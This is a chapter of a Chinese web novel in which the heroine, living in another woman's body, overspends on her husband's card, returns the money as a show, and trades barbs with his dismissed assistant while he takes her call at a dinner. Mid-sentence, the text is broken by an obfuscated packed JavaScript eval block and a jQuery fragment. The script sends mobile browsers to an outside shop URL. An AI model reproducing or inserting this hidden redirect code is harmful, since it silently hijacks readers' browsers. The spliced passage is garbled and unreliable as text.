季窈舒舒服服地睡了一夜,早上起来打车去医院体检,出来时本想直接回家,却突然被一家新开业的广场吸引了注意。
她其实很喜欢线下购物,但做演员前没太多钱,做演员后又要随时躲避狗仔记者,人生中可以说没有一次酣畅淋漓的购物体验。
既然在这个世界遇到,又恰好新店开业,那不如顺便体验一番。
季窈的卡是顾城泽的附属卡,于是这边刷一次,那边就收到一条短信,一个上午过去,卡里直接没了小六位数。
季窈一直没注意到这点,直到她大包小包拎回家,橘猫一脸冷静地望着她手里脚边的购物成果道:“你知道许佳佳的卡是和顾城泽绑在一起的吗?”
话音才落下,季窈包里的手机便响起短促的一声震动。
她还在反应着橘猫的那句话,动作有些迟钝地拿出手机。
是一条微信,备注是“顾”。
“心情好些了吗,我很怕你一直不开心。”
季窈:“……”
第一次没控制好手,就出现了这种失误,果然,冲动消费不可取!
顾城泽发这么一条消息实在不意外,很多人都会用消费来填补自己内心某一处的空缺,再加上有动静总比没动静好,这对他而言几乎等同于一个二人关系即将缓和的信号。
季窈看向橘猫,真诚地问道:“你们这个系统有没有时间回溯功能?”
橘猫:“……你说呢?”
季窈无奈地收好手机,换拖鞋进屋时倒也没有把购物成果落在玄关,她走到沙发前坐下,说:“已经发生的事情无法改变,但未必没有弥补的机会。”
“你想怎么做?”
季窈没有说话,点开手机里自带的计算器,将今天的□□全部找出来把消费总额算了出来。
“许佳佳有自己单独的卡,但因为顾城泽要求平时才把附属卡随身带着,我也是才记起来。”
橘猫见此,问道:“你是准备把钱打回去?”
“怎么可能,有人出钱,不要白不要。”季窈也是才意识到,她虽然目前是许佳佳,但最终还是要将身体还回去的,花许佳佳的钱也不好,倒不如就让顾城泽来当冤大头,就当是她收了这次演出的片酬。
“不过这些东西,许佳佳以后应该也用得着,不算完全浪费。”
这就要感谢她买东西的时候还记得工作——扮演许佳佳——所以买来的一切几乎都是许佳佳的爱好品味。
“那你算总额做什么?”橘猫不解地问。
季窈挑眉,说:“虽然不准备还,但表面功夫还是要做的。”
说完,她直接点开微信聊天界面,将今天花费全部转了过去。
转账发出去时,几乎下一秒,聊天框的顶端就出现了“对方正在输入中”这几个字。
三秒后,消息到达。
“佳佳,你这是什么意思?”
季窈迅速回道:“我忘了这张卡是你的附属卡,这些钱还给你。”
那头的人也很快回复:“什么叫还,你的我的有什么区别,我只是想关心你。”
“不必,你这一条消息,让我觉得一上午的发泄都变成了白费。”
这一次对面沉默得有些久,季窈也不急,从冰箱里取来一罐果酒,“啪”一声打开,直接喝了一口。
“嘶,好冰。”
橘猫看着她的动作,不太明显的眉毛一下皱了起来,他似乎想说什么,但最终并没有开口。
季窈回到沙发上,这时,手机也响起了提示音。
“你看,他又转回来了。”她眉头一挑,看着上面的转账并没有着急去点。
聊天框上方显示对面还在输入,十秒后,消息再次到达:
“抱歉,是我不该多嘴,但这钱我不会要,我说过,我希望你能一辈子都用那张卡。”
季窈无声地冷笑了下,三十秒钟后点下转账确认,但并没有再回消息。
第二天周一,季窈去医院拿体检报告,刚出医院就接到了一个电话,来电显示是一串数字。
熟悉的一串数字。
季窈有些意外许诗意在这个时间找她,毕竟现在是打工人的上班时间,她不趁机去见顾城泽,来找她做什么?
她没有接电话,也没有必要再接。
但对面的人一如既往地执着,接不通就一遍遍地拨打。季窈想过直接将她拉入黑名单,但这样做似乎又太把别人放在眼里,好像她多么介意她似的。
想了想,在手机又响起来时,她索性直接接通。
“许佳佳,是不是你逼他做的?”许诗意的情绪似乎有些不稳定,语气急切又愤怒。
季窈一头雾水,停在原地回道:“你在说什么?”
“别装作不懂,你在他面前装得单纯,在我面前就不必了吧,那天在餐厅怎么回事,你自己心里清楚。”
季窈不想和她纠缠这些琐事,也不怕她直接将自己设套的事告密给顾城泽,她懒懒地说:“许小姐,你要是很空没事做就自己一边玩去,我忙得很,没工夫听你在那里胡言乱语。”
大概是猜出她要挂电话,许诗意突然喊道:“你不许挂电话!”
季窈的耳朵受到了一万点暴击,她赶忙将手机拉远,揉了揉:“您能小声点吗,我刚体检出来,可不想再进医院。”
许诗意压根没将她的话听进去,仍旧声音响亮地说道:“是不是你,是不是你让城泽辞退我的,你用这件事逼他做出选择对不对?”
辞退?
这就是顾城泽说的解决许诗意的办法?
呵,可真是好啊,许诗意见不到他,倒是直接来质问她了。
季窈笑了,说:“我早就不参与公司运作,更不可能插手人事,许小姐,你把我想得太厉害了。”
“这需要你插手人事?这只需要你向顾城泽提出要求就够了,他为了让你原谅他,什么做不出来?”
季窈勾起唇:“抱歉,我没有向他提任何要求,你被辞退显然是顾城泽自己的意思,你不去找他,反而来质问我,是希望我亲自打电话给顾城泽确认吗?”
许诗意那边稍稍一顿,突然又笑道:“你别想威胁我,我不怕你去找他告状,倒是你,一旦让他知道我们私下有联系,那你之前的计谋一下就能被看穿。”
“是吗?”季窈重新提步往前,“那你就去说吧,希望你快点去说。”
轻飘飘地说完最后一句话,她便直接将电话切断。
季窈绝非是话赶话,说了这么一句,而是真诚希望许诗意能够将这些事告诉顾城泽。
比起许佳佳意外知道自己丈夫和别人有暧昧关系,她亲自设局,亲自揭开秘密,那种痛苦与残忍绝不比前者少。
顾城泽内心对许佳佳的愧疚也就会越深越重。
季窈乐得见此,自然不会阻止许诗意告密。
*
顾城泽下班后还有一个应酬,原本是可以推掉的,可一想到回去的地方冰冷空荡,他便生出了退缩的心,让助理替自己应下了邀请。
席面上,一群男人女人谈完公事谈私事,闹闹哄哄,嘈杂但又有异样的踏实感。
“你们听说了没,赵家那个小儿子闪婚后出轨被媳妇儿在媒体面前曝光?”一个中年男人喝了口酒,想到什么,又兴奋又紧张地说着。
桌子上的人混什么圈的都有,自然不缺人附和。
一个年纪稍小一点的经理点头说:“知道,刚才我还在热搜上看见了,不过还没有半分钟就被撤掉了,估计是被公关了。”
“啊,赵家那位小公子啊,上个月才和当红影后结婚的那个?”
“就是他,当初不顾家里反对和娱乐圈的人结婚,你看看现在,都闹到狗仔媒体面前了。”
几个男人说着,语气里不乏嘲弄和惋惜。
这时,另一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13563245|142811||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
边一个女经理不满道:“你们搞错重点了吧,不是那位赵小公子自己管不住下半身,才结婚没一个月就和别人乱搞吗,他不犯错,哪里来的新闻可以上。”
一个人这么说了,桌子上也很快响起类似的声音。
最开始提起的那个中年男人笑哈哈地扫了一圈,突然发现自己身边位置上的人格外沉默,他抬手拍了拍他的肩膀,笑道:“顾总今儿怎么这么沉默,在这儿喝闷酒呢。”
顾城泽嘴角轻扯:“最近公司比较忙。”
“噢哟,谁不知道你们最近项目多,利润大啊,来来来,有什么烦心事跟哥说说。”
顾城泽刚要找个借口去洗手间,突然放在手边的手机响了起来。
中年男人就靠在桌边,眼睛一瞥,立刻乐了,忙招呼大家说:“看看看,还说顾总怎么对我们谈的事不感兴趣,人家也是不屑赵家那位啊。”
对面一个人不解:“怎么了?”
中年男人下巴往桌上那手机一指,意味深长地笑笑:“看看,老婆又来查岗了哦。”
顾城泽微醺的脑袋倏地一下清醒了大半,他匆忙取过手机,动作急切得又一次引起众人哄笑。
他神色紧张,根本管不得别的,看都没看就直接接通,起身快步往外走去:“佳佳!”
“……”
电话里长久的沉默,“城泽,是我。”
顾城泽脚步一停,这个声音……他拿下手机,一看屏幕才发现,打来的并不是许佳佳,而是许诗意。
上面的备注只有一个“许”字,里面那人知道他的老婆叫什么,却不知道这个许另有其人。
顾城泽看着这个字,一时间竟想不起自己当时为什么会改这么一个备注。
“喂,喂,城泽,城泽……”
电话里的声音急切不停地响起,顾城泽揉了揉脸,走到走道尽头,打开了窗子。
冷冽的冬风吹在脸上,直到让他彻底清醒,他才缓缓开口:“找我什么事。”
虽然是个问句,可他的语气却平静得没有半点情绪。
许诗意咬了咬牙,问道:“你为什么不接我电话,为什么把我辞退,我做错什么了?!”
“该给你的经济赔偿不会少,为什么辞退还需要理由吗?”顾城泽摁了摁太阳穴,语气逐渐开始有些烦躁。
“我不需要什么经济赔偿,我只是想让和你在一起,你难道还没想明白吗?”
“想明白什么?”顾城泽问。
“你爱的人是我啊,上次在酒店你拒绝我,是因为我发烧了,你不舍得碰我,而且,我知道你有底线,你不会在和许佳佳还有关系的时候做出对不起她的事,但你现在可以主动提出离婚了。”
顾城泽听着这话,觉得实在荒谬,他笑道:“我为什么要提离婚,我爱的人是许佳佳,我干嘛要提离婚。”
“你说那天酒店的事,我已经明确和你说了,当时你因为我发烧,我自觉有责任照顾你。你亲我,想脱我的衣服,我阻止了,这就意味着我不想和你发生关系,和心不心疼你没有任何关系。”
“许诗意,我现在可以明确告诉你,你就算现在脱.光了躺在我面前,我都不会做什么,因为我对你没有爱。”
电话那头一阵急促的呼吸,“你现在说得这么冠冕堂皇,那你敢用许佳佳的命发誓,你当时对我没有任何一点想法吗,不管任何想法。”
顾城泽瞳孔一缩,他死死握住手机,手背处青筋乍现:“你T.M哪里来的资格敢提许佳佳,还用许佳佳的命来发誓?你以为你是谁?!”
即使隔着距离,许诗意还是感觉到顾城泽的震怒,她有一瞬间的惊惧,但还是强迫自己继续把话说出:
“我凭什么没资格,你以为许佳佳是什么单纯无暇的人吗,你还将她当作最无辜的人来愧疚啊,我告诉你,许佳佳她早就知道我的存在了,那天包厢发生的一切就是她给我们设的套!”